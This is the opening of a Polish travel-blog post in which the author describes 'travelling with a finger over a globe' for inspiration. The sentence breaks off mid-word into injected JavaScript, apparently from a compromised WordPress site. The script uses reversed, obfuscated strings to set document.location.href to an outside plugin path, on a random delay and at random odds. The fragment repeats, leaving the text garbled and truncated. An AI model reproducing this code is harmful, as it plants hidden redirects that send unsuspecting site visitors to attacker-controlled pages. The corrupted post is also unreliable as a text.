Siedząc pewnego dnia w domu wygodnie w fotelu bawiłem się globusem. Można powiedzieć, że „podróżowałem palcem po mapie”, a właściwie „palcem po globusie” co mam w zwyczaju od czasu do czasu robić szukając inspiracji do kolejnych wyjazdów lub wpisów. Zaintrygowała mnie jedna rzecz z pozoru banalna. Był toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); […]